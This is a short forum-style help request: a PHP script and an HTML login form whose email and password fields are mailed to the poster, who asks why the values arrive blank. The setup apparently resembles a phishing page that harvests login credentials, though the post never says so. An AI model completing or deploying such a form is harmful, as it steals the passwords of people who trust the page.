I've created a HTML form and used PHP to get the results emailed to me but Im having problems...
I have a PHP file called contact.php and the code is
<?php
$email = $_POST['emails'] ;
$password = $_POST['pass'] ;
mail("MYEMAIL", "Form Results", "You have received a new message. Email: $email Password: $password");
?>
And my HTML is
<form action="contact.php" method="post" enctype="text/plain">
<div class="size">Email</div> <input type="text" name="emails"><br>
<div class="size">Password</div><input type="password" name="pass">
<div class="logincon"><input type="image" src="css/images/login.png" value="submit" /></div>
<br><br>
</form>
When I fill out the form, I get a email saying You have received a new message. Email: Password: The email and password isn't being displayed.